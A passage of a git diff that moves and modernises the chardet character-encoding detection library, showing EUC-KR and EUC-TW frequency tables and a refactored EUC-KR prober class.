6.0 + +EUCKR_TABLE_SIZE = 2352 + +# Char to FreqOrder table , +EUCKR_CHAR_TO_FREQ_ORDER = ( + 13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722, 87, +1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398, +1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488, 20,1733,1269,1734, + 945,1400,1735, 47, 904,1270,1736,1737, 773, 248,1738, 409, 313, 786, 429,1739, + 116, 987, 813,1401, 683, 75,1204, 145,1740,1741,1742,1743, 16, 847, 667, 622, + 708,1744,1745,1746, 966, 787, 304, 129,1747, 60, 820, 123, 676,1748,1749,1750, +1751, 617,1752, 626,1753,1754,1755,1756, 653,1757,1758,1759,1760,1761,1762, 856, + 344,1763,1764,1765,1766, 89, 401, 418, 806, 905, 848,1767,1768,1769, 946,1205, + 709,1770,1118,1771, 241,1772,1773,1774,1271,1775, 569,1776, 999,1777,1778,1779, +1780, 337, 751,1058, 28, 628, 254,1781, 177, 906, 270, 349, 891,1079,1782, 19, +1783, 379,1784, 315,1785, 629, 754,1402, 559,1786, 636, 203,1206,1787, 710, 567, +1788, 935, 814,1789,1790,1207, 766, 528,1791,1792,1208,1793,1794,1795,1796,1797, +1403,1798,1799, 533,1059,1404,1405,1156,1406, 936, 884,1080,1800, 351,1801,1802, +1803,1804,1805, 801,1806,1807,1808,1119,1809,1157, 714, 474,1407,1810, 298, 899, + 885,1811,1120, 802,1158,1812, 892,1813,1814,1408, 659,1815,1816,1121,1817,1818, +1819,1820,1821,1822, 319,1823, 594, 545,1824, 815, 937,1209,1825,1826, 573,1409, +1022,1827,1210,1828,1829,1830,1831,1832,1833, 556, 722, 807,1122,1060,1834, 697, +1835, 900, 557, 715,1836,1410, 540,1411, 752,1159, 294, 597,1211, 976, 803, 770, +1412,1837,1838, 39, 794,1413, 358,1839, 371, 925,1840, 453, 661, 788, 531, 723, + 544,1023,1081, 869, 91,1841, 392, 430, 790, 602,1414, 677,1082, 457,1415,1416, +1842,1843, 475, 327,1024,1417, 795, 121,1844, 733, 403,1418,1845,1846,1847, 300, + 119, 711,1212, 627,1848,1272, 207,1849,1850, 796,1213, 382,1851, 519,1852,1083, + 893,1853,1854,1855, 367, 809, 487, 671,1856, 663,1857,1858, 956, 471, 306, 857, +1859,1860,1160,1084,1861,1862,1863,1864,1865,1061,1866,1867,1868,1869,1870,1871, + 282, 96, 574,1872, 502,1085,1873,1214,1874, 907,1875,1876, 827, 977,1419,1420, +1421, 268,1877,1422,1878,1879,1880, 308,1881, 2, 537,1882,1883,1215,1884,1885, + 127, 791,1886,1273,1423,1887, 34, 336, 404, 643,1888, 571, 654, 894, 840,1889, + 0, 886,1274, 122, 575, 260, 908, 938,1890,1275, 410, 316,1891,1892, 100,1893, +1894,1123, 48,1161,1124,1025,1895, 633, 901,1276,1896,1897, 115, 816,1898, 317, +1899, 694,1900, 909, 734,1424, 572, 866,1425, 691, 85, 524,1010, 543, 394, 841, +1901,1902,1903,1026,1904,1905,1906,1907,1908,1909, 30, 451, 651, 988, 310,1910, +1911,1426, 810,1216, 93,1912,1913,1277,1217,1914, 858, 759, 45, 58, 181, 610, + 269,1915,1916, 131,1062, 551, 443,1000, 821,1427, 957, 895,1086,1917,1918, 375, +1919, 359,1920, 687,1921, 822,1922, 293,1923,1924, 40, 662, 118, 692, 29, 939, + 887, 640, 482, 174,1925, 69,1162, 728,1428, 910,1926,1278,1218,1279, 386, 870, + 217, 854,1163, 823,1927,1928,1929,1930, 834,1931, 78,1932, 859,1933,1063,1934, +1935,1936,1937, 438,1164, 208, 595,1938,1939,1940,1941,1219,1125,1942, 280, 888, +1429,1430,1220,1431,1943,1944,1945,1946,1947,1280, 150, 510,1432,1948,1949,1950, +1951,1952,1953,1954,1011,1087,1955,1433,1043,1956, 881,1957, 614, 958,1064,1065, +1221,1958, 638,1001, 860, 967, 896,1434, 989, 492, 553,1281,1165,1959,1282,1002, +1283,1222,1960,1961,1962,1963, 36, 383, 228, 753, 247, 454,1964, 876, 678,1965, +1966,1284, 126, 464, 490, 835, 136, 672, 529, 940,1088,1435, 473,1967,1968, 467, + 50, 390, 227, 587, 279, 378, 598, 792, 968, 240, 151, 160, 849, 882,1126,1285, + 639,1044, 133, 140, 288, 360, 811, 563,1027, 561, 142, 523,1969,1970,1971, 7, + 103, 296, 439, 407, 506, 634, 990,1972,1973,1974,1975, 645,1976,1977,1978,1979, +1980,1981, 236,1982,1436,1983,1984,1089, 192, 828, 618, 518,1166, 333,1127,1985, + 818,1223,1986,1987,1988,1989,1990,1991,1992,1993, 342,1128,1286, 746, 842,1994, +1995, 560, 223,1287, 98, 8, 189, 650, 978,1288,1996,1437,1997, 17, 345, 250, + 423, 277, 234, 512, 226, 97, 289, 42, 167,1998, 201,1999,2000, 843, 836, 824, + 532, 338, 783,1090, 182, 576, 436,1438,1439, 527, 500,2001, 947, 889,2002,2003, +2004,2005, 262, 600, 314, 447,2006, 547,2007, 693, 738,1129,2008, 71,1440, 745, + 619, 688,2009, 829,2010,2011, 147,2012, 33, 948,2013,2014, 74, 224,2015, 61, + 191, 918, 399, 637,2016,1028,1130, 257, 902,2017,2018,2019,2020,2021,2022,2023, +2024,2025,2026, 837,2027,2028,2029,2030, 179, 874, 591, 52, 724, 246,2031,2032, +2033,2034,1167, 969,2035,1289, 630, 605, 911,1091,1168,2036,2037,2038,1441, 912, +2039, 623,2040,2041, 253,1169,1290,2042,1442, 146, 620, 611, 577, 433,2043,1224, + 719,1170, 959, 440, 437, 534, 84, 388, 480,1131, 159, 220, 198, 679,2044,1012, + 819,1066,1443, 113,1225, 194, 318,1003,1029,2045,2046,2047,2048,1067,2049,2050, +2051,2052,2053, 59, 913, 112,2054, 632,2055, 455, 144, 739,1291,2056, 273, 681, + 499,2057, 448,2058,2059, 760,2060,2061, 970, 384, 169, 245,1132,2062,2063, 414, +1444,2064,2065, 41, 235,2066, 157, 252, 877, 568, 919, 789, 580,2067, 725,2068, +2069,1292,2070,2071,1445,2072,1446,2073,2074, 55, 588, 66,1447, 271,1092,2075, +1226,2076, 960,1013, 372,2077,2078,2079,2080,2081,1293,2082,2083,2084,2085, 850, +2086,2087,2088,2089,2090, 186,2091,1068, 180,2092,2093,2094, 109,1227, 522, 606, +2095, 867,1448,1093, 991,1171, 926, 353,1133,2096, 581,2097,2098,2099,1294,1449, +1450,2100, 596,1172,1014,1228,2101,1451,1295,1173,1229,2102,2103,1296,1134,1452, + 949,1135,2104,2105,1094,1453,1454,1455,2106,1095,2107,2108,2109,2110,2111,2112, +2113,2114,2115,2116,2117, 804,2118,2119,1230,1231, 805,1456, 405,1136,2120,2121, +2122,2123,2124, 720, 701,1297, 992,1457, 927,1004,2125,2126,2127,2128,2129,2130, + 22, 417,2131, 303,2132, 385,2133, 971, 520, 513,2134,1174, 73,1096, 231, 274, + 962,1458, 673,2135,1459,2136, 152,1137,2137,2138,2139,2140,1005,1138,1460,1139, +2141,2142,2143,2144, 11, 374, 844,2145, 154,1232, 46,1461,2146, 838, 830, 721, +1233, 106,2147, 90, 428, 462, 578, 566,1175, 352,2148,2149, 538,1234, 124,1298, +2150,1462, 761, 565,2151, 686,2152, 649,2153, 72, 173,2154, 460, 415,2155,1463, +2156,1235, 305,2157,2158,2159,2160,2161,2162, 579,2163,2164,2165,2166,2167, 747, +2168,2169,2170,2171,1464, 669,2172,2173,2174,2175,2176,1465,2177, 23, 530, 285, +2178, 335, 729,2179, 397,2180,2181,2182,1030,2183,2184, 698,2185,2186, 325,2187, +2188, 369,2189, 799,1097,1015, 348,2190,1069, 680,2191, 851,1466,2192,2193, 10, +2194, 613, 424,2195, 979, 108, 449, 589, 27, 172, 81,1031, 80, 774, 281, 350, +1032, 525, 301, 582,1176,2196, 674,1045,2197,2198,1467, 730, 762,2199,2200,2201, +2202,1468,2203, 993,2204,2205, 266,1070, 963,1140,2206,2207,2208, 664,1098, 972, +2209,2210,2211,1177,1469,1470, 871,2212,2213,2214,2215,2216,1471,2217,2218,2219, +2220,2221,2222,2223,2224,2225,2226,2227,1472,1236,2228,2229,2230,2231,2232,2233, +2234,2235,1299,2236,2237, 200,2238, 477, 373,2239,2240, 731, 825, 777,2241,2242, +2243, 521, 486, 548,2244,2245,2246,1473,1300, 53, 549, 137, 875, 76, 158,2247, +1301,1474, 469, 396,1016, 278, 712,2248, 321, 442, 503, 767, 744, 941,1237,1178, +1475,2249, 82, 178,1141,1179, 973,2250,1302,2251, 297,2252,2253, 570,2254,2255, +2256, 18, 450, 206,2257, 290, 292,1142,2258, 511, 162, 99, 346, 164, 735,2259, +1476,1477, 4, 554, 343, 798,1099,2260,1100,2261, 43, 171,1303, 139, 215,2262, +2263, 717, 775,2264,1033, 322, 216,2265, 831,2266, 149,2267,1304,2268,2269, 702, +1238, 135, 845, 347, 309,2270, 484,2271, 878, 655, 238,1006,1478,2272, 67,2273, + 295,2274,2275, 461,2276, 478, 942, 412,2277,1034,2278,2279,2280, 265,2281, 541, +2282,2283,2284,2285,2286, 70, 852,1071,2287,2288,2289,2290, 21, 56, 509, 117, + 432,2291,2292, 331, 980, 552,1101, 148, 284, 105, 393,1180,1239, 755,2293, 187, +2294,1046,1479,2295, 340,2296, 63,1047, 230,2297,2298,1305, 763,1306, 101, 800, + 808, 494,2299,2300,2301, 903,2302, 37,1072, 14, 5,2303, 79, 675,2304, 312, +2305,2306,2307,2308,2309,1480, 6,1307,2310,2311,2312, 1, 470, 35, 24, 229, +2313, 695, 210, 86, 778, 15, 784, 592, 779, 32, 77, 855, 964,2314, 259,2315, + 501, 380,2316,2317, 83, 981, 153, 689,1308,1481,1482,1483,2318,2319, 716,1484, +2320,2321,2322,2323,2324,2325,1485,2326,2327, 128, 57, 68, 261,1048, 211, 170, +1240, 31,2328, 51, 435, 742,2329,2330,2331, 635,2332, 264, 456,2333,2334,2335, + 425,2336,1486, 143, 507, 263, 943,2337, 363, 920,1487, 256,1488,1102, 243, 601, +1489,2338,2339,2340,2341,2342,2343,2344, 861,2345,2346,2347,2348,2349,2350, 395, +2351,1490,1491, 62, 535, 166, 225,2352,2353, 668, 419,1241, 138, 604, 928,2354, +1181,2355,1492,1493,2356,2357,2358,1143,2359, 696,2360, 387, 307,1309, 682, 476, +2361,2362, 332, 12, 222, 156,2363, 232,2364, 641, 276, 656, 517,1494,1495,1035, + 416, 736,1496,2365,1017, 586,2366,2367,2368,1497,2369, 242,2370,2371,2372,1498, +2373, 965, 713,2374,2375,2376,2377, 740, 982,1499, 944,1500,1007,2378,2379,1310, +1501,2380,2381,2382, 785, 329,2383,2384,1502,2385,2386,2387, 932,2388,1503,2389, +2390,2391,2392,1242,2393,2394,2395,2396,2397, 994, 950,2398,2399,2400,2401,1504, +1311,2402,2403,2404,2405,1049, 749,2406,2407, 853, 718,1144,1312,2408,1182,1505, +2409,2410, 255, 516, 479, 564, 550, 214,1506,1507,1313, 413, 239, 444, 339,1145, +1036,1508,1509,1314,1037,1510,1315,2411,1511,2412,2413,2414, 176, 703, 497, 624, + 593, 921, 302,2415, 341, 165,1103,1512,2416,1513,2417,2418,2419, 376,2420, 700, +2421,2422,2423, 258, 768,1316,2424,1183,2425, 995, 608,2426,2427,2428,2429, 221, +2430,2431,2432,2433,2434,2435,2436,2437, 195, 323, 726, 188, 897, 983,1317, 377, + 644,1050, 879,2438, 452,2439,2440,2441,2442,2443,2444, 914,2445,2446,2447,2448, + 915, 489,2449,1514,1184,2450,2451, 515, 64, 427, 495,2452, 583,2453, 483, 485, +1038, 562, 213,1515, 748, 666,2454,2455,2456,2457, 334,2458, 780, 996,1008, 705, +1243,2459,2460,2461,2462,2463, 114,2464, 493,1146, 366, 163,1516, 961,1104,2465, + 291,2466,1318,1105,2467,1517, 365,2468, 355, 951,1244,2469,1319,2470, 631,2471, +2472, 218,1320, 364, 320, 756,1518,1519,1321,1520,1322,2473,2474,2475,2476, 997, +2477,2478,2479,2480, 665,1185,2481, 916,1521,2482,2483,2484, 584, 684,2485,2486, + 797,2487,1051,1186,2488,2489,2490,1522,2491,2492, 370,2493,1039,1187, 65,2494, + 434, 205, 463,1188,2495, 125, 812, 391, 402, 826, 699, 286, 398, 155, 781, 771, + 585,2496, 590, 505,1073,2497, 599, 244, 219, 917,1018, 952, 646,1523,2498,1323, +2499,2500, 49, 984, 354, 741,2501, 625,2502,1324,2503,1019, 190, 357, 757, 491, + 95, 782, 868,2504,2505,2506,2507,2508,2509, 134,1524,1074, 422,1525, 898,2510, + 161,2511,2512,2513,2514, 769,2515,1526,2516,2517, 411,1325,2518, 472,1527,2519, +2520,2521,2522,2523,2524, 985,2525,2526,2527,2528,2529,2530, 764,2531,1245,2532, +2533, 25, 204, 311,2534, 496,2535,1052,2536,2537,2538,2539,2540,2541,2542, 199, + 704, 504, 468, 758, 657,1528, 196, 44, 839,1246, 272, 750,2543, 765, 862,2544, +2545,1326,2546, 132, 615, 933,2547, 732,2548,2549,2550,1189,1529,2551, 283,1247, +1053, 607, 929,2552,2553,2554, 930, 183, 872, 616,1040,1147,2555,1148,1020, 441, + 249,1075,2556,2557,2558, 466, 743,2559,2560,2561, 92, 514, 426, 420, 526,2562, +2563,2564,2565,2566,2567,2568, 185,2569,2570,2571,2572, 776,1530, 658,2573, 362, +2574, 361, 922,1076, 793,2575,2576,2577,2578,2579,2580,1531, 251,2581,2582,2583, +2584,1532, 54, 612, 237,1327,2585,2586, 275, 408, 647, 111,2587,1533,1106, 465, + 3, 458, 9, 38,2588, 107, 110, 890, 209, 26, 737, 498,2589,1534,2590, 431, + 202, 88,1535, 356, 287,1107, 660,1149,2591, 381,1536, 986,1150, 445,1248,1151, + 974,2592,2593, 846,2594, 446, 953, 184,1249,1250, 727,2595, 923, 193, 883,2596, +2597,2598, 102, 324, 539, 817,2599, 421,1041,2600, 832,2601, 94, 175, 197, 406, +2602, 459,2603,2604,2605,2606,2607, 330, 555,2608,2609,2610, 706,1108, 389,2611, +2612,2613,2614, 233,2615, 833, 558, 931, 954,1251,2616,2617,1537, 546,2618,2619, +1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628, +2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042, + 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642, # 512, 256 +) + diff --git a/extra/chardet/euckrprober.py b/thirdparty/chardet/euckrprober.py old mode 100755 new mode 100644 similarity index 72% rename from extra/chardet/euckrprober.py rename to thirdparty/chardet/euckrprober.py index bd697ebf35a..345a060d023 --- a/extra/chardet/euckrprober.py +++ b/thirdparty/chardet/euckrprober.py @@ -13,29 +13,35 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from mbcharsetprober import MultiByteCharSetProber -from codingstatemachine import CodingStateMachine -from chardistribution import EUCKRDistributionAnalysis -from mbcssm import EUCKRSMModel +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import EUCKRDistributionAnalysis +from .mbcssm import EUCKR_SM_MODEL + class EUCKRProber(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(EUCKRSMModel) - self._mDistributionAnalyzer = EUCKRDistributionAnalysis() + super(EUCKRProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCKR_SM_MODEL) + self.distribution_analyzer = EUCKRDistributionAnalysis() self.reset() - def get_charset_name(self): + @property + def charset_name(self): return "EUC-KR" + + @property + def language(self): + return "Korean" diff --git a/extra/chardet/euctwfreq.py b/thirdparty/chardet/euctwfreq.py old mode 100755 new mode 100644 similarity index 66% rename from extra/chardet/euctwfreq.py rename to thirdparty/chardet/euctwfreq.py index c0572095058..ed7a995a3aa --- a/extra/chardet/euctwfreq.py +++ b/thirdparty/chardet/euctwfreq.py @@ -13,12 +13,12 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA @@ -26,8 +26,8 @@ ######################### END LICENSE BLOCK ######################### # EUCTW frequency table -# Converted from big5 work -# by Taiwan's Mandarin Promotion Council +# Converted from big5 work +# by Taiwan's Mandarin Promotion Council # # 128 --> 0.42261 @@ -38,389 +38,350 @@ # # Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98 # Random Distribution Ration = 512/(5401-512)=0.105 -# +# # Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75 -# Char to FreqOrder table , -EUCTW_TABLE_SIZE = 8102 +# Char to FreqOrder table , +EUCTW_TABLE_SIZE = 5376 + +EUCTW_CHAR_TO_FREQ_ORDER = ( + 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, # 2742 +3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, # 2758 +1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, # 2774 + 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790 +3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806 +4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, # 2822 +7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, # 2838 + 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, # 2854 + 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870 + 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886 +2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, # 2902 +1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918 +3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934 + 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, # 2950 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966 +3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 93,7326, 822,1897, # 2982 +2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, # 2998 + 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014 +3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030 +1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046 +7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, # 3062 + 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, # 3078 +7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, # 3094 +1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, # 3110 + 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, # 3126 + 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142 +3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, # 3158 +3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, # 3174 + 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190 +2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, # 3206 +2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222 + 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238 + 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254 +3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270 +1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286 +1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302 +1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, # 3318 +2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334 + 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350 +4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366 +1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382 +7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398 +2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414 + 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430 + 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446 + 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, # 3462 + 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478 +7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, # 3494 + 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510 +1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, # 3526 + 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542 + 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558 +7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574 +1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590 + 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, # 3606 +3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622 +4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638 +3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654 + 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670 + 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686 +1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702 +4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, # 3718 +3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734 +3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750 +2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766 +7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, # 3782 +3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798 +7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814 +1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830 +2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846 +1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862 + 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878 +1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894 +4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910 +3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926 + 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942 + 165, 243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, # 3958 + 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974 +2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990 +7425, 611,1156, 854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006 +1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022 +2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038 +1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054 +1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070 +7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086 +7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102 +7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118 +3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134 +4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150 +1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166 +7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182 +2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198 +7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214 +3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230 +3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, # 4246 +7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262 +2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278 +7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294 + 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310 +4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326 +2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342 +7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358 +3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374 +2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390 +2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, # 4406 + 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422 +2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438 +1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454 +1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470 +2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486 +1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502 +7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518 +7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534 +2186,1091,2285,4120, 492,7509, 